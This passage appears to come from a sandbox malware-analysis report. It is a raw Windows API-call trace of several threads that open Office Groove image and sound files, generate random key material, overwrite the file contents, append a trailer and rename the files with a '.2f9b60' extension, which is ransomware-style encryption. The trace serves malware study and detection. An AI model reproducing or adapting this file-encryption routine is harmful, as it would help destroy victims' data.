_Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2b9c4e67ff.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2b9c4e67ff.2f9b60" [0243.195] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2b9c4e67ff.2f9b60", NtPathName=0x245efd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2b9c4e67ff.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0243.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205f5d0 [0243.195] NtSetInformationFile (FileHandle=0x3258, IoStatusBlock=0x245efe10, FileInformation=0x4205f5d0, Length=0xc2, FileInformationClass=0xa) returned 0x0 [0243.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f5d0) returned 1 [0243.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316da40) returned 1 [0243.433] NtQueryInformationFile (in: FileHandle=0x3258, IoStatusBlock=0x245efdd8, FileInformation=0x245efde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x245efdd8, FileInformation=0x245efde8) returned 0x0 [0243.433] NtSetInformationFile (FileHandle=0x3258, IoStatusBlock=0x245efdd8, FileInformation=0x245efde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431461f0) returned 1 [0243.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6220) returned 1 [0243.524] FlushFileBuffers (hFile=0x3258) returned 1 [0243.527] CloseHandle (hObject=0x3258) Thread: id = 3716 os_tid = 0xa0c [0220.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg")) returned 0x20 [0221.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg", dwFileAttributes=0x20) returned 1 [0221.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a94 [0221.824] GetFileSizeEx (in: hFile=0x2a94, lpFileSize=0x1d52fac0 | out: lpFileSize=0x1d52fac0*=17609) returned 1 [0221.824] SetFilePointerEx (in: hFile=0x2a94, liDistanceToMove=0x44c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.824] ReadFile (in: hFile=0x2a94, lpBuffer=0x1d52fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d52fa88, lpOverlapped=0x0 | out: lpBuffer=0x1d52fa40*, lpNumberOfBytesRead=0x1d52fa88*=0x4, lpOverlapped=0x0) returned 1 [0221.838] SetFilePointerEx (in: hFile=0x2a94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0221.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264830 [0221.839] NtQuerySystemTime (in: CurrentTime=0x1d52f980 | out: CurrentTime=0x1d52f980*=132462178258330000) returned 0x0 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x582fcada [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x4bcbd72 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x7edfc84f [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x455de2de [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x775c085e [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x3e23db72 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x1ca2ff37 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x7947a39b [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x17f87f5e [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x50870b24 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x6653a193 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x26fd274f [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x57f1d6a5 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x39e73ad4 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x50e7d4f9 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x5865c45a [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x3d3e255d [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x577f66d1 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x5a7c770c [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x7048c7c [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x2b42cc17 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x503c7e7d [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x45cff941 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x33679043 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x37329465 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x7a1ddf5b [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x3644a81a [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x78937006 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x23ef3fb [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x7c8a0de1 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x7dfca640 [0221.839] RtlRandomEx (in: Seed=0x1d52f970 | out: Seed=0x1d52f970) returned 0x76b453cd [0221.847] SetFilePointerEx (in: hFile=0x2a94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.847] ReadFile (in: hFile=0x2a94, lpBuffer=0x20428750, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d52f9e0, lpOverlapped=0x0 | out: lpBuffer=0x20428750*, lpNumberOfBytesRead=0x1d52f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0221.855] SetFilePointerEx (in: hFile=0x2a94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61ce0 [0221.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d040 [0221.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267f80) returned 1 [0221.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20402eb0 [0221.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264830 [0221.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264830) returned 1 [0221.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d040) returned 1 [0221.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ce0) returned 1 [0221.860] WriteFile (in: hFile=0x2a94, lpBuffer=0x20402eb0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d52f9e0, lpOverlapped=0x0 | out: lpBuffer=0x20402eb0*, lpNumberOfBytesWritten=0x1d52f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0222.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20402eb0) returned 1 [0222.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20428750) returned 1 [0222.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x431ad720 [0222.987] SetFilePointerEx (in: hFile=0x2a94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.987] WriteFile (in: hFile=0x2a94, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x1d52fa90, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x1d52fa90*=0x118, lpOverlapped=0x0) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167040) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ad760) returned 1 [0223.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0223.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ad720) returned 1 [0223.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267f80) returned 1 [0223.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ae0) returned 1 [0223.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0223.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ec0) returned 1 [0223.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x431568e0 [0223.473] wcscpy (in: _Dest=0x431568e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" [0223.473] wcscat (in: _Dest=0x431568e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.2f9b60" [0223.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.2f9b60", NtPathName=0x1d52fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf6) returned 0x1b78f980 Thread: id = 3717 os_tid = 0x1f24 [0220.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp")) returned 0x20 [0221.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp", dwFileAttributes=0x20) returned 1 [0221.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x330c [0221.948] GetFileSizeEx (in: hFile=0x330c, lpFileSize=0x2773fd40 | out: lpFileSize=0x2773fd40*=7278) returned 1 [0221.948] SetFilePointerEx (in: hFile=0x330c, liDistanceToMove=0x1c6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.948] ReadFile (in: hFile=0x330c, lpBuffer=0x2773fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2773fd08, lpOverlapped=0x0 | out: lpBuffer=0x2773fcc0*, lpNumberOfBytesRead=0x2773fd08*=0x4, lpOverlapped=0x0) returned 1 [0222.261] SetFilePointerEx (in: hFile=0x330c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab30 [0222.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0222.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b700 [0222.262] NtQuerySystemTime (in: CurrentTime=0x2773fc00 | out: CurrentTime=0x2773fc00*=132462178262542000) returned 0x0 [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x74eda01b [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x79db34e2 [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x7199ea2e [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x2477e24 [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x67465ed2 [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x592e87b9 [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x28489ae6 [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x4f1fd49c [0222.262] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x46fc0733 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x740b611b [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x7e4abbcd [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0xda46c95 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x5288e14b [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x17759dd6 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x3312d246 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x186ada13 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x252966e5 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x7cbea74f [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x68ad36d0 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x1ebecb48 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x28ac2220 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x40f769f0 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x27f56c55 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x46cc6753 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x4328b5c6 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x23e5997e [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x1f6dd09a [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x4f05abdd [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x487caa6a [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x30dbc70f [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x27f56c55 [0222.263] RtlRandomEx (in: Seed=0x2773fbf0 | out: Seed=0x2773fbf0) returned 0x4a417cf6 [0222.273] ReadFile (in: hFile=0x330c, lpBuffer=0x2046c360, nNumberOfBytesToRead=0x1c6e, lpNumberOfBytesRead=0x2773fbf0, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesRead=0x2773fbf0*=0x1c6e, lpOverlapped=0x0) returned 1 [0222.339] SetFilePointerEx (in: hFile=0x330c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.339] WriteFile (in: hFile=0x330c, lpBuffer=0x2046ff70*, nNumberOfBytesToWrite=0x1c6e, lpNumberOfBytesWritten=0x2773fbf4, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesWritten=0x2773fbf4*=0x1c6e, lpOverlapped=0x0) returned 1 [0224.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0224.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0224.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0224.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0224.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0224.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0224.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62af0) returned 1 [0224.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce62af0 [0224.373] SetFilePointerEx (in: hFile=0x330c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0224.373] WriteFile (in: hFile=0x330c, lpBuffer=0x42c21be0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2773fd10, lpOverlapped=0x0 | out: lpBuffer=0x42c21be0*, lpNumberOfBytesWritten=0x2773fd10*=0x120, lpOverlapped=0x0) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21be0) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61790) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62af0) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b920) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b6a0) returned 1 [0224.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b6d0) returned 1 [0224.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1ceb6110 [0224.821] wcscpy (in: _Dest=0x1ceb6110, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" [0224.821] wcscat (in: _Dest=0x1ceb6110, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.2f9b60" [0224.821] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.2f9b60", NtPathName=0x2773fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0224.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x431a9710 Thread: id = 3718 os_tid = 0x1f28 [0220.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg")) returned 0x20 [0221.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg", dwFileAttributes=0x20) returned 1 [0221.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2564 [0221.810] GetFileSizeEx (in: hFile=0x2564, lpFileSize=0x2395f6e0 | out: lpFileSize=0x2395f6e0*=13142) returned 1 [0221.810] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x3352, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.810] ReadFile (in: hFile=0x2564, lpBuffer=0x2395f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2395f6a8, lpOverlapped=0x0 | out: lpBuffer=0x2395f660*, lpNumberOfBytesRead=0x2395f6a8*=0x4, lpOverlapped=0x0) returned 1 [0221.812] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0221.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676e0 [0221.813] NtQuerySystemTime (in: CurrentTime=0x2395f5a0 | out: CurrentTime=0x2395f5a0*=132462178258018000) returned 0x0 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x69e64b4c [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x70141c62 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x4ca19c79 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x7775138 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x6f375d46 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x205f4dec [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x7cc87cb7 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0xd3cb382 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x5ece0d03 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x6b0338f6 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x7302ceee [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x8509b10 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x532a2489 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x2697a8f2 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x7cc87cb7 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x7a1ddf5b [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x55831580 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x65698fec [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x69e792a [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x680585a3 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0xc1ef47c [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x799c49d2 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x7d175927 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x59632a12 [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x572d710a [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x7396651f [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x123d8d4d [0221.813] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x50feae3b [0221.814] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x5605ddec [0221.814] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x6ecb61b1 [0221.814] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x16195ad7 [0221.814] RtlRandomEx (in: Seed=0x2395f590 | out: Seed=0x2395f590) returned 0x4b9a1097 [0221.821] ReadFile (in: hFile=0x2564, lpBuffer=0x20433b80, nNumberOfBytesToRead=0x3356, lpNumberOfBytesRead=0x2395f590, lpOverlapped=0x0 | out: lpBuffer=0x20433b80*, lpNumberOfBytesRead=0x2395f590*=0x3356, lpOverlapped=0x0) returned 1 [0221.822] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.822] WriteFile (in: hFile=0x2564, lpBuffer=0x20420f30*, 